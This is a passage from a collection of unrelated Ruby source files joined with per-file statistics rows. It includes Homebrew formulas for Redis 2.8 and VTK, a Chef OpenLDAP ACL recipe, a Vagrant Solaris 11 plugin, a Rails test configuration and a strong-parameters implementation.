i.gravity "center"
i.crop "#{gen_width}x#{gen_height}+0+0"
end
image.write gen_dest_file
end
# Update instance with actual dimensions used
instance[:width] = gen_width.to_i
instance[:height] = gen_height.to_i
instance[:ratio] = gen_ratio
instance[:container_padding] = (1 / gen_ratio.to_f * 100)
# Return path relative to the site root for html
Pathname.new(File.join('/', image_dest, gen_name)).cleanpath
end
end
end
Liquid::Template.register_tag('image', Jekyll::Image)
| 39.410569 | 341 | 0.625168 |
2682092dc9002890b7dc7631389e5de9cd71a2bf | 212 | # encoding: utf-8
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
module Azure
VERSION = '0.68.0'
end
| 26.5 | 94 | 0.754717 |
1de9e9c3cc2e4bfbc4fcbf0e155aad90b49a4299 | 1,030 | class UspsConfirmationMaker
def initialize(pii:, issuer:, profile:)
@pii = pii
@issuer = issuer
@profile = profile
end
def otp
@otp ||= generate_otp
end
def perform
UspsConfirmation.create!(entry: attributes)
UspsConfirmationCode.create!(
profile: profile,
otp_fingerprint: Pii::Fingerprinter.fingerprint(otp),
)
end
private
attr_reader :pii, :issuer, :profile
# rubocop:disable AbcSize, MethodLength
# This method is single statement spread across many lines for readability
def attributes
{
address1: pii[:address1],
address2: pii[:address2],
city: pii[:city],
otp: otp,
first_name: pii[:first_name],
last_name: pii[:last_name],
state: pii[:state],
zipcode: pii[:zipcode],
issuer: issuer,
}
end
# rubocop:enable AbcSize, MethodLength
def generate_otp
# Crockford encoding is 5 bits per character
Base32::Crockford.encode(SecureRandom.random_number(2**(5 * 10)), length: 10)
end
end
| 22.391304 | 81 | 0.662136 |
e979276ee5bd25dfdb3dad97e93d0d20634be590 | 939 | # <<fonte>> lib/lftmi/c4/at_p/Pilha.rb
module Lftmi
class Pilha
# Pilha::
def initialize
@conteudo = ["Z0"]
end
attr_reader :conteudo
# Pilha_comportamento_elementar
# Pilha::
def top
@conteudo[-1]
end
# Pilha::
def pop
@conteudo.pop
end
# Pilha::
def push(x)
@conteudo += x
end
# Pilha::
def empty?
@conteudo.top == "Z0"
end
# Pilha_espaco_de_configuracoes
# Pilha::
def cfg_0_def
@conteudo = ["Z0"]
end
# Pilha::
def cfg_mover_para(cfg_i, nova_cfg)
# Restauro a configuração "i"
cfg_restaurar(cfg_i)
# Interpreto a transição
pop
push(nova_cfg[1])
end
# Pilha::
def salvar_cfg
{ :conteudo => @conteudo + [] }
end
def cfg_restaurar(m)
@conteudo = m[:conteudo]
end
# Pilha::
def cfg_final?
top == "Z0"
end
end
end
| 15.145161 | 39 | 0.538871 |
5df8d1c4cd3a7fba73c5dfd2a753c38ef9e472b1 | 1,942 | #
# Cookbook Name:: ca_openldap
# Recipe File:: client
#
# Copyright 2013, Christophe Arguel <[email protected]>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Configure ACL in the slapd DB configuration file.
#
tmp_slapd_config = File.join(Chef::Config['file_cache_path'], 'slapd_db_config.ldif')
# Copy actual slapd DB config file to a temporary file
file tmp_slapd_config do
extend CAOpenldap
content lazy { File.read slapd_db_config_file }
end
# Update the content of the temporary file
# with expected ACL.
ruby_block "acl_config" do
block do
extend CAOpenldap
slapd_conf_file = tmp_slapd_config
#configure acl
f = Chef::Util::FileEdit.new(slapd_conf_file)
f.search_file_delete_line(/olcAccess:/)
index = 0
acls = node['ca_openldap']['acls'].inject("") do |acum, acl|
acum << "olcAccess: {#{index}}#{acl}\n"
index+= 1
acum
end
f.insert_line_after_match(/olcRootPW:/, acls)
f.write_file
# Remove FileEdit backup file.
File.delete("#{ tmp_slapd_config }.old")
end
action :create
notifies :delete, "file[#{ tmp_slapd_config }]"
end
# Copy updated content to the actual slapd DB config file.
# NB: path is unknown at compile time during the first run.
file "slapd_db_config_with_updated_acls" do
extend CAOpenldap
path lazy { slapd_db_config_file }
content lazy { File.read tmp_slapd_config }
notifies :restart, "service[slapd]"
end
| 28.558824 | 86 | 0.728115 |
1d703198ebf49f12bb53f7b3ef26984844cf8c97 | 46 | require 'spec_helper'
require 'string_output'
| 15.333333 | 23 | 0.826087 |
01aec135331938414a932e037e36c1e715a24601 | 1,881 | # A base class providing CRUD for GlobalRegistry Entities.
# API doc at https://github.com/CruGlobal/global_registry_docs/wiki/Entities
module GlobalRegistryModels
module Entity
class Base < CommonBase
attribute :client_integration_id, String
validates_presence_of :client_integration_id
def initialize(params = {})
super(params)
@relationships = []
params.each do |key,value|
create_relationship(key,value) if key.to_s.include? ':relationship'
end
end
def self.search_params
{
entity_type: name
}
end
def self.global_registry_resource
GlobalRegistry::Entity
end
def self.attributes_hash(attributes)
{'entity'.to_sym => { name => attributes }}
end
# The name of the entity class. The entity name is required in the api responses and requests, hence the need for this class method.
def self.name
to_s.gsub(/.*::/, '').underscore
end
def self.default_field
'*'
end
def relationships
@relationships
end
def self.specific_attributes_preparations(object, attributes)
object.relationships.each do |relationship|
attributes["#{relationship.relationship_type}:relationship"] = {
relationship.entity_type => relationship.related_entity_id,
'client_integration_id' => relationship.client_integration_id
}
end
attributes
end
private
def create_relationship(key,value_hash)
@relationships << Relationship.new(relationship_type: key.to_s.split(':').first, entity_type: value_hash.keys.first,
related_entity_id: value_hash.values.first, client_integration_id: value_hash['client_integration_id'])
end
end
end
end
| 29.390625 | 146 | 0.645933 |
2175b35cb9ea6ee6b49b8c9d861d0a062adb8226 | 2,717 | require 'excon'
require_relative 'jsonapi'
module JSONAPI
module Model
# Supports mechanics of connecting with remote endpoint
module Connectable
extend ActiveSupport::Concern
# Connection for accessing remote endpoints
#
# @return [Excon::Connection]
def connection
self.class.connection
end
# Parses JSONAPI reponses received
#
# @param response [Excon::Response] unparsed response from remote endpoint
# @return [Hash]
def parse(response, options: {})
self.class.parse(response, options: options)
end
private
def to_jsonapi
serializer.new(self).serializable_hash.to_json
end
def serializer
return @serializer if @serializer
attribute_set = attributes
raise Error::NoAttributesDefined if attribute_set.nil? || attribute_set.empty?
type_to = type
raise Error::NoSerializationTypeDefined unless type_to.present?
@serializer ||= serializer_class(attribute_set, type_to)
end
def serializer_class(attributes, type)
Class.new do
include JSONAPI::Serializer
set_type type if type
attributes.each do |attribute_name|
attribute attribute_name
end
end
end
def on_socket_error(error)
self.class.on_socket_error(error)
end
# rubocop:disable Lint/UselessAccessModifier # bug in rubocop-rails; rails does support
class_methods do
def connection
raise Error::NoHostDefined unless respond_to?(:host)
@connection ||= Excon.new(host, headers: headers)
end
def parse(response, options: {})
return unless response
unless successful_status_code?(response.status)
raise Error::RequestFailed.new(self, response)
end
Jsonapi.parse(response.body, options)
end
def on_socket_error(error)
raise error unless error.respond_to?(:socket_error)
raise error unless error.socket_error.is_a?(Errno::ECONNREFUSED)
raise Error::UnavailableHost, host
end
private
def headers
@headers = {
'Content-Type' => 'application/vnd.api+json; charset=utf-8'
}
end
def status_code_to_symbol(code)
text = Rack::Utils::HTTP_STATUS_CODES[code]
raise Error::UnrecognizedStatusCode unless text
text.underscore.tr(' ', '_').to_sym
end
def successful_status_code?(code)
(code.to_i / 100) == 2
end
end
# rubocop:enable Lint/UselessAccessModifier
end
end
end
| 25.392523 | 93 | 0.626426 |
ff1967beb5117cdc939b8e614cd3d6ff7bac14ee | 6,745 | # frozen_string_literal: true
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
module Google
module Api
# `Service` is the root object of Google service configuration schema. It
# describes basic information about a service, such as the name and the
# title, and delegates other aspects to sub-sections. Each sub-section is
# either a proto message or a repeated proto message that configures a
# specific aspect, such as auth. See each proto message definition for details.
#
# Example:
#
# type: google.api.Service
# name: calendar.googleapis.com
# title: Google Calendar API
# apis:
# - name: google.calendar.v3.Calendar
# authentication:
# providers:
# - id: google_calendar_auth
# jwks_uri: https://www.googleapis.com/oauth2/v1/certs
# issuer: https://securetoken.google.com
# rules:
# - selector: "*"
# requirements:
# provider_id: google_calendar_auth
# @!attribute [rw] name
# @return [::String]
# The service name, which is a DNS-like logical identifier for the
# service, such as `calendar.googleapis.com`. The service name
# typically goes through DNS verification to make sure the owner
# of the service also owns the DNS name.
# @!attribute [rw] title
# @return [::String]
# The product title for this service.
# @!attribute [rw] producer_project_id
# @return [::String]
# The Google project that owns this service.
# @!attribute [rw] id
# @return [::String]
# A unique ID for a specific instance of this message, typically assigned
# by the client for tracking purpose. Must be no longer than 63 characters
# and only lower case letters, digits, '.', '_' and '-' are allowed. If
# empty, the server may choose to generate one instead.
# @!attribute [rw] apis
# @return [::Array<::Google::Protobuf::Api>]
# A list of API interfaces exported by this service. Only the `name` field
# of the {::Google::Protobuf::Api google.protobuf.Api} needs to be provided by the configuration
# author, as the remaining fields will be derived from the IDL during the
# normalization process. It is an error to specify an API interface here
# which cannot be resolved against the associated IDL files.
# @!attribute [rw] types
# @return [::Array<::Google::Protobuf::Type>]
# A list of all proto message types included in this API service.
# Types referenced directly or indirectly by the `apis` are
# automatically included. Messages which are not referenced but
# shall be included, such as types used by the `google.protobuf.Any` type,
# should be listed here by name. Example:
#
# types:
# - name: google.protobuf.Int32
# @!attribute [rw] enums
# @return [::Array<::Google::Protobuf::Enum>]
# A list of all enum types included in this API service. Enums
# referenced directly or indirectly by the `apis` are automatically
# included. Enums which are not referenced but shall be included
# should be listed here by name. Example:
#
# enums:
# - name: google.someapi.v1.SomeEnum
# @!attribute [rw] documentation
# @return [::Google::Api::Documentation]
# Additional API documentation.
# @!attribute [rw] backend
# @return [::Google::Api::Backend]
# API backend configuration.
# @!attribute [rw] http
# @return [::Google::Api::Http]
# HTTP configuration.
# @!attribute [rw] quota
# @return [::Google::Api::Quota]
# Quota configuration.
# @!attribute [rw] authentication
# @return [::Google::Api::Authentication]
# Auth configuration.
# @!attribute [rw] context
# @return [::Google::Api::Context]
# Context configuration.
# @!attribute [rw] usage
# @return [::Google::Api::Usage]
# Configuration controlling usage of this service.
# @!attribute [rw] endpoints
# @return [::Array<::Google::Api::Endpoint>]
# Configuration for network endpoints. If this is empty, then an endpoint
# with the same name as the service is automatically generated to service all
# defined APIs.
# @!attribute [rw] control
# @return [::Google::Api::Control]
# Configuration for the service control plane.
# @!attribute [rw] logs
# @return [::Array<::Google::Api::LogDescriptor>]
# Defines the logs used by this service.
# @!attribute [rw] metrics
# @return [::Array<::Google::Api::MetricDescriptor>]
# Defines the metrics used by this service.
# @!attribute [rw] monitored_resources
# @return [::Array<::Google::Api::MonitoredResourceDescriptor>]
# Defines the monitored resources used by this service. This is required
# by the {::Google::Api::Service#monitoring Service.monitoring} and {::Google::Api::Service#logging Service.logging} configurations.
# @!attribute [rw] billing
# @return [::Google::Api::Billing]
# Billing configuration.
# @!attribute [rw] logging
# @return [::Google::Api::Logging]
# Logging configuration.
# @!attribute [rw] monitoring
# @return [::Google::Api::Monitoring]
# Monitoring configuration.
# @!attribute [rw] system_parameters
# @return [::Google::Api::SystemParameters]
# System parameter configuration.
# @!attribute [rw] source_info
# @return [::Google::Api::SourceInfo]
# Output only. The source information for this configuration if available.
# @!attribute [rw] config_version
# @return [::Google::Protobuf::UInt32Value]
# Obsolete. Do not use.
#
# This field has no semantic meaning. The service config compiler always
# sets this field to `3`.
class Service
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
end
end
| 43.798701 | 140 | 0.64255 |
21d37af4b3b801c1897c59e2dbdc88f751bfeca2 | 2,595 | class Redis28 < Formula
homepage "http://redis.io/"
url "http://download.redis.io/releases/redis-2.8.19.tar.gz"
sha256 "29bb08abfc3d392b2f0c3e7f48ec46dd09ab1023f9a5575fc2a93546f4ca5145"
bottle do
root_url "https://homebrew.bintray.com/bottles-versions"
sha256 "9251b1a449b5335aa3a48b23621f1ac87fdaa0c4ad2b28c057e5e946ad2807f5" => :yosemite
sha256 "067e0b6755f8ee584f590df01c90f31183912910d8dd19f7e6f951debeef5593" => :mavericks
sha256 "36f24812f523ce8b32d662469fd0b2e8876aff45234ba44819f297370511fbb3" => :mountain_lion
end
fails_with :llvm do
build 2334
cause "Fails with 'reference out of range from _linenoise'"
end
def install
# Architecture isn't detected correctly on 32bit Snow Leopard without help
ENV["OBJARCH"] = MacOS.prefer_64_bit? ? "-arch x86_64" : "-arch i386"
# Head and stable have different code layouts
src = (buildpath/"src/Makefile").exist? ? buildpath/"src" : buildpath
system "make", "-C", src, "CC=#{ENV.cc}"
%w[benchmark cli server check-dump check-aof sentinel].each { |p| bin.install src/"redis-#{p}" => "redis28-#{p}" }
%w[run db/redis28 log].each { |p| (var+p).mkpath }
# Fix up default conf file to match our paths
inreplace "redis.conf" do |s|
s.gsub! "/var/run/redis.pid", "#{var}/run/redis-2.8.pid"
s.gsub! "dir ./", "dir #{var}/db/redis28/"
s.gsub! "\# bind 127.0.0.1", "bind 127.0.0.1"
end
etc.install "redis.conf" => "redis28.conf" unless (etc/"redis28.conf").exist?
etc.install "sentinel.conf" => "redis28-sentinel.conf" unless (etc/"redis28-sentinel.conf").exist?
end
plist_options :manual => "redis28-server #{HOMEBREW_PREFIX}/etc/redis28.conf"
def plist; <<-EOS.undent
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>#{plist_name}</string>
<key>ProgramArguments</key>
<array>
<string>#{opt_prefix}/bin/redis28-server</string>
<string>#{etc}/redis28.conf</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>WorkingDirectory</key>
<string>#{var}</string>
<key>StandardErrorPath</key>
<string>#{var}/log/redis28.log</string>
<key>StandardOutPath</key>
<string>#{var}/log/redis28.log</string>
</dict>
</plist>
EOS
end
test do
system "#{bin}/redis28-server", "--version"
end
end
| 35.547945 | 118 | 0.647784 |
bb1f9647be3aee703b6cad1b76214a877af06b0c | 8,606 | class Vtk < Formula
desc "Toolkit for 3D computer graphics, image processing, and visualization."
homepage "http://www.vtk.org"
url "http://www.vtk.org/files/release/7.1/VTK-7.1.0.tar.gz"
mirror "https://fossies.org/linux/misc/VTK-7.1.0.tar.gz"
sha256 "5f3ea001204d4f714be972a810a62c0f2277fbb9d8d2f8df39562988ca37497a"
head "https://github.com/Kitware/VTK.git"
bottle do
sha256 "bc24f7a8136e82cb224bcb992f35e2901315bbaae21058320a96176c54d63805" => :sierra
sha256 "98350213326a9ddddff28109463c0567b682373c8a4411316ccb4080a9b156f6" => :el_capitan
sha256 "85a3ded043225d615851435744ddca403805c2279cf34a83693a89155171b540" => :yosemite
end
deprecated_option "examples" => "with-examples"
deprecated_option "qt-extern" => "with-qt-extern"
deprecated_option "tcl" => "with-tcl"
deprecated_option "remove-legacy" => "without-legacy"
option :cxx11
option "with-examples", "Compile and install various examples"
option "with-qt-extern", "Enable Qt4 extension via non-Homebrew external Qt4"
option "with-tcl", "Enable Tcl wrapping of VTK classes"
option "with-matplotlib", "Enable matplotlib support"
option "without-legacy", "Disable legacy APIs"
option "without-python", "Build without python2 support"
depends_on "cmake" => :build
depends_on :x11 => :optional
depends_on "qt5" => :optional
depends_on :python => :recommended if MacOS.version <= :snow_leopard
depends_on :python3 => :optional
depends_on "boost" => :recommended
depends_on "fontconfig" => :recommended
depends_on "hdf5" => :recommended
depends_on "jpeg" => :recommended
depends_on "libpng" => :recommended
depends_on "libtiff" => :recommended
depends_on "matplotlib" => :python if build.with?("matplotlib") && build.with?("python")
# If --with-qt and --with-python, then we automatically use PyQt, too!
if build.with? "qt5"
if build.with? "python"
depends_on "sip"
depends_on "pyqt5" => ["with-python", "without-python3"]
elsif build.with? "python3"
depends_on "sip" => ["with-python3", "without-python"]
depends_on "pyqt5"
end
end
def install
args = std_cmake_args + %W[
-DVTK_REQUIRED_OBJCXX_FLAGS=''
-DBUILD_SHARED_LIBS=ON
-DCMAKE_INSTALL_RPATH:STRING=#{lib}
-DCMAKE_INSTALL_NAME_DIR:STRING=#{lib}
-DVTK_USE_SYSTEM_EXPAT=ON
-DVTK_USE_SYSTEM_LIBXML2=ON
-DVTK_USE_SYSTEM_ZLIB=ON
]
args << "-DBUILD_EXAMPLES=" + ((build.with? "examples") ? "ON" : "OFF")
if build.with? "examples"
args << "-DBUILD_TESTING=ON"
else
args << "-DBUILD_TESTING=OFF"
end
if build.with?("qt5")
args << "-DVTK_QT_VERSION:STRING=5"
args << "-DVTK_Group_Qt=ON"
end
args << "-DVTK_WRAP_TCL=ON" if build.with? "tcl"
# Cocoa for everything except x11
if build.with? "x11"
args << "-DVTK_USE_COCOA=OFF"
args << "-DVTK_USE_X=ON"
else
args << "-DVTK_USE_COCOA=ON"
end
unless MacOS::CLT.installed?
# We are facing an Xcode-only installation, and we have to keep
# vtk from using its internal Tk headers (that differ from OSX's).
args << "-DTK_INCLUDE_PATH:PATH=#{MacOS.sdk_path}/System/Library/Frameworks/Tk.framework/Headers"
args << "-DTK_INTERNAL_PATH:PATH=#{MacOS.sdk_path}/System/Library/Frameworks/Tk.framework/Headers/tk-private"
end
args << "-DModule_vtkInfovisBoost=ON" << "-DModule_vtkInfovisBoostGraphAlgorithms=ON" if build.with? "boost"
args << "-DModule_vtkRenderingFreeTypeFontConfig=ON" if build.with? "fontconfig"
args << "-DVTK_USE_SYSTEM_HDF5=ON" if build.with? "hdf5"
args << "-DVTK_USE_SYSTEM_JPEG=ON" if build.with? "jpeg"
args << "-DVTK_USE_SYSTEM_PNG=ON" if build.with? "libpng"
args << "-DVTK_USE_SYSTEM_TIFF=ON" if build.with? "libtiff"
args << "-DModule_vtkRenderingMatplotlib=ON" if build.with? "matplotlib"
args << "-DVTK_LEGACY_REMOVE=ON" if build.without? "legacy"
ENV.cxx11 if build.cxx11?
mkdir "build" do
if build.with?("python3") && build.with?("python")
# VTK Does not support building both python 2 and 3 versions
odie "VTK: Does not support building both python 2 and 3 wrappers"
elsif build.with?("python") || build.with?("python3")
python_executable = `which python`.strip if build.with? "python"
python_executable = `which python3`.strip if build.with? "python3"
python_prefix = `#{python_executable} -c 'import sys;print(sys.prefix)'`.chomp
python_include = `#{python_executable} -c 'from distutils import sysconfig;print(sysconfig.get_python_inc(True))'`.chomp
python_version = "python" + `#{python_executable} -c 'import sys;print(sys.version[:3])'`.chomp
py_site_packages = "#{lib}/#{python_version}/site-packages"
args << "-DVTK_WRAP_PYTHON=ON"
args << "-DPYTHON_EXECUTABLE='#{python_executable}'"
args << "-DPYTHON_INCLUDE_DIR='#{python_include}'"
# CMake picks up the system's python dylib, even if we have a brewed one.
if File.exist? "#{python_prefix}/Python"
args << "-DPYTHON_LIBRARY='#{python_prefix}/Python'"
elsif File.exist? "#{python_prefix}/lib/lib#{python_version}.a"
args << "-DPYTHON_LIBRARY='#{python_prefix}/lib/lib#{python_version}.a'"
else
args << "-DPYTHON_LIBRARY='#{python_prefix}/lib/lib#{python_version}.dylib'"
end
# Set the prefix for the python bindings to the Cellar
args << "-DVTK_INSTALL_PYTHON_MODULE_DIR='#{py_site_packages}/'"
end
if build.with?("qt5")
args << "-DVTK_WRAP_PYTHON_SIP=ON"
args << "-DSIP_PYQT_DIR='#{Formula["pyqt5"].opt_share}/sip'"
end
args << ".."
system "cmake", *args
system "make"
system "make", "install"
end
pkgshare.install "Examples" if build.with? "examples"
end
def post_install
# This is a horrible, horrible hack because VTK's build system links
# directly against libpython, breaking all installs for users of brewed
# Python. See tracking issues:
#
# https://github.com/Homebrew/homebrew-science/pull/3811
# https://github.com/Homebrew/homebrew-science/issues/3401
# https://gitlab.kitware.com/vtk/vtk/merge_requests/1713
#
# This postinstall block should be removed once upstream issues a fix.
return unless OS.mac? && build.with?("python")
# Detect if we are using brewed Python 2
python = Formula["python"]
brewed_python = python.opt_frameworks/"Python.framework"
system_python = "/System/Library/Frameworks/Python.framework"
if python.linked_keg.exist?
ohai "Patching VTK to use Homebrew's Python 2"
from = system_python
to = brewed_python
else
ohai "Patching VTK to use system Python 2"
from = brewed_python
to = system_python
end
# Patch it all up
keg = Keg.new(prefix)
keg.mach_o_files.each do |file|
file.ensure_writable do
keg.each_install_name_for(file) do |old_name|
next unless old_name.start_with? from
new_name = old_name.sub(from, to)
puts "#{file}:\n #{old_name} => #{new_name}" if ARGV.verbose?
keg.change_install_name(old_name, new_name, file)
end
end
end
end
def caveats
s = ""
s += <<-EOS.undent
Even without the --with-qt5 option, you can display native VTK render windows
from python. Alternatively, you can integrate the RenderWindowInteractor
in PyQt4, Tk or Wx at runtime. Read more:
import vtk.qt5; help(vtk.qt5) or import vtk.wx; help(vtk.wx)
EOS
if build.with? "examples"
s += <<-EOS.undent
The scripting examples are stored in #{HOMEBREW_PREFIX}/share/vtk
EOS
end
if build.with? "python"
s += <<-EOS.undent
VTK was linked against #{Formula["python"].linked_keg.exist? ? "Homebrew's" : "your system"} copy of Python.
If you later decide to change Python installations, relink VTK with:
brew postinstall vtk
EOS
end
s.empty? ? nil : s
end
test do
(testpath/"Version.cpp").write <<-EOS
#include <vtkVersion.h>
#include <assert.h>
int main(int, char *[])
{
assert (vtkVersion::GetVTKMajorVersion()==7);
assert (vtkVersion::GetVTKMinorVersion()==1);
return EXIT_SUCCESS;
}
EOS
system ENV.cxx, "Version.cpp", "-I#{opt_include}/vtk-7.1"
system "./a.out"
system "#{bin}/vtkpython", "-c", "exit()"
end
end
| 36.935622 | 128 | 0.661864 |
7a1908874d129d94d91ac5d68e46ddbb740cac37 | 992 | {
matrix_id: '67',
name: 'bcsstm12',
group: 'HB',
description: 'SYMMETRIC MASS MATRIX, ORE CAR (CONSISTENT MASSES)',
author: 'J. Lewis',
editor: 'I. Duff, R. Grimes, J. Lewis',
date: '1982',
kind: 'structural problem',
problem_2D_or_3D: '1',
num_rows: '1473',
num_cols: '1473',
nonzeros: '19659',
num_explicit_zeros: '0',
num_strongly_connected_components: '10',
num_dmperm_blocks: '10',
structural_full_rank: 'true',
structural_rank: '1473',
pattern_symmetry: '1.000',
numeric_symmetry: '1.000',
rb_type: 'real',
structure: 'symmetric',
cholesky_candidate: 'yes',
positive_definite: 'yes',
norm: '1.341559e+01',
min_singular_value: '2.118712e-05',
condition_number: '6.331955e+05',
svd_rank: '1473',
sprank_minus_rank: '0',
null_space_dimension: '0',
full_numerical_rank: 'yes',
image_files: 'bcsstm12.png,bcsstm12_dmperm.png,bcsstm12_svd.png,bcsstm12_graph.gif,',
}
| 29.176471 | 89 | 0.645161 |
d5b5ba982781985eb06171ca3ad4567282e89bc7 | 1,820 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# The test environment is used exclusively to run your application's
# test suite. You never need to work with it otherwise. Remember that
# your test database is "scratch space" for the test suite and is wiped
# and recreated between test runs. Don't rely on the data there!
config.cache_classes = true
# Do not eager load code on boot. This avoids loading your whole application
# just for the purpose of running a single test. If you are using a tool that
# preloads Rails for running tests, you may have to set it to true.
config.eager_load = false
# Configure public file server for tests with Cache-Control for performance.
config.public_file_server.enabled = true
config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=3600'
}
# Show full error reports and disable caching.
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
# Raise exceptions instead of rendering exception templates.
config.action_dispatch.show_exceptions = false
# Disable request forgery protection in test environment.
config.action_controller.allow_forgery_protection = false
config.action_mailer.perform_caching = false
# Tell Action Mailer not to deliver emails to the real world.
# The :test delivery method accumulates sent emails in the
# ActionMailer::Base.deliveries array.
config.action_mailer.delivery_method = :test
# Print deprecation notices to the stderr.
config.active_support.deprecation = :stderr
# Raises error for missing translations
# config.action_view.raise_on_missing_translations = true
config.action_mailer.default_url_options = { host: 'localhost:3000' }
end
| 41.363636 | 85 | 0.772527 |
1a5d074519a1cbe0174eca2fc459060f3e584682 | 1,677 | # A general Vagrant system implementation for "solaris 11".
#
# Contributed by Jan Thomas Moldung <[email protected]>
require "vagrant"
module VagrantPlugins
module GuestSolaris11
class Plugin < Vagrant.plugin("2")
name "Solaris 11 guest."
description "Solaris 11 guest support."
config("solaris11") do
require File.expand_path("../config", __FILE__)
Config
end
guest("solaris11") do
require File.expand_path("../guest", __FILE__)
Guest
end
guest_capability("solaris11", "change_host_name") do
require_relative "cap/change_host_name"
Cap::ChangeHostName
end
guest_capability("solaris11", "configure_networks") do
require_relative "cap/configure_networks"
Cap::ConfigureNetworks
end
guest_capability("solaris11", "halt") do
require_relative "cap/halt"
Cap::Halt
end
guest_capability("solaris11", "mount_virtualbox_shared_folder") do
require_relative "cap/mount_virtualbox_shared_folder"
Cap::MountVirtualBoxSharedFolder
end
guest_capability("solaris11", "rsync_installed") do
require_relative "cap/rsync"
Cap::RSync
end
guest_capability("solaris11", "rsync_pre") do
require_relative "cap/rsync"
Cap::RSync
end
guest_capability("solaris11", "insert_public_key") do
require_relative "cap/insert_public_key"
Cap::InsertPublicKey
end
guest_capability("solaris11", "remove_public_key") do
require_relative "cap/remove_public_key"
Cap::RemovePublicKey
end
end
end
end
| 25.8 | 72 | 0.658915 |
bbdcab6dae534cb0341e5a1e8081f13a41ac5bb7 | 7,675 | require 'date'
require 'bigdecimal'
require 'stringio'
require 'active_support/concern'
require 'active_support/core_ext/hash/indifferent_access'
require 'active_support/core_ext/array/wrap'
require 'action_controller'
require 'action_dispatch/http/upload'
module ActionController
class ParameterMissing < IndexError
attr_reader :param
def initialize(param)
@param = param
super("param is missing or the value is empty: #{param}")
end
end
class UnpermittedParameters < IndexError
attr_reader :params
def initialize(params)
@params = params
super("found unpermitted parameters: #{params.join(", ")}")
end
end
class Parameters < ActiveSupport::HashWithIndifferentAccess
attr_accessor :permitted
alias :permitted? :permitted
cattr_accessor :action_on_unpermitted_parameters, :instance_accessor => false
# Never raise an UnpermittedParameters exception because of these params
# are present. They are added by Rails and it's of no concern.
NEVER_UNPERMITTED_PARAMS = %w( controller action )
def initialize(attributes = nil)
super(attributes)
@permitted = false
end
def permit!
each_pair do |key, value|
value = convert_hashes_to_parameters(key, value)
Array.wrap(value).each do |_|
_.permit! if _.respond_to? :permit!
end
end
@permitted = true
self
end
def require(key)
self[key].presence || raise(ActionController::ParameterMissing.new(key))
end
alias :required :require
def permit(*filters)
params = self.class.new
filters.each do |filter|
case filter
when Symbol, String
permitted_scalar_filter(params, filter)
when Hash then
hash_filter(params, filter)
end
end
unpermitted_parameters!(params) if self.class.action_on_unpermitted_parameters
params.permit!
end
def [](key)
convert_hashes_to_parameters(key, super)
end
def fetch(key, *args)
convert_hashes_to_parameters(key, super, false)
rescue KeyError, IndexError
raise ActionController::ParameterMissing.new(key)
end
def slice(*keys)
self.class.new(super).tap do |new_instance|
new_instance.instance_variable_set :@permitted, @permitted
end
end
def dup
self.class.new(self).tap do |duplicate|
duplicate.default = default
duplicate.instance_variable_set :@permitted, @permitted
end
end
protected
def convert_value(value)
if value.class == Hash
self.class.new_from_hash_copying_default(value)
elsif value.is_a?(Array)
value.dup.replace(value.map { |e| convert_value(e) })
else
value
end
end
private
def convert_hashes_to_parameters(key, value, assign_if_converted=true)
converted = convert_value_to_parameters(value)
self[key] = converted if assign_if_converted && !converted.equal?(value)
converted
end
def convert_value_to_parameters(value)
if value.is_a?(Array)
value.map { |_| convert_value_to_parameters(_) }
elsif value.is_a?(Parameters) || !value.is_a?(Hash)
value
else
self.class.new(value)
end
end
#
# --- Filtering ----------------------------------------------------------
#
# This is a white list of permitted scalar types that includes the ones
# supported in XML and JSON requests.
#
# This list is in particular used to filter ordinary requests, String goes
# as first element to quickly short-circuit the common case.
#
# If you modify this collection please update the README.
PERMITTED_SCALAR_TYPES = [
String,
Symbol,
NilClass,
Numeric,
TrueClass,
FalseClass,
Date,
Time,
# DateTimes are Dates, we document the type but avoid the redundant check.
StringIO,
IO,
ActionDispatch::Http::UploadedFile,
Rack::Test::UploadedFile,
]
def permitted_scalar?(value)
PERMITTED_SCALAR_TYPES.any? {|type| value.is_a?(type)}
end
def array_of_permitted_scalars?(value)
if value.is_a?(Array)
value.all? {|element| permitted_scalar?(element)}
end
end
def permitted_scalar_filter(params, key)
if has_key?(key) && permitted_scalar?(self[key])
params[key] = self[key]
end
keys.grep(/\A#{Regexp.escape(key.to_s)}\(\d+[if]?\)\z/).each do |key|
if permitted_scalar?(self[key])
params[key] = self[key]
end
end
end
def array_of_permitted_scalars_filter(params, key, hash = self)
if hash.has_key?(key) && array_of_permitted_scalars?(hash[key])
params[key] = hash[key]
end
end
def hash_filter(params, filter)
filter = filter.with_indifferent_access
# Slicing filters out non-declared keys.
slice(*filter.keys).each do |key, value|
next unless value
if filter[key] == []
# Declaration {:comment_ids => []}.
array_of_permitted_scalars_filter(params, key)
else
# Declaration {:user => :name} or {:user => [:name, :age, {:adress => ...}]}.
params[key] = each_element(value) do |element, index|
if element.is_a?(Hash)
element = self.class.new(element) unless element.respond_to?(:permit)
element.permit(*Array.wrap(filter[key]))
elsif filter[key].is_a?(Hash) && filter[key][index] == []
array_of_permitted_scalars_filter(params, index, value)
end
end
end
end
end
def each_element(value)
if value.is_a?(Array)
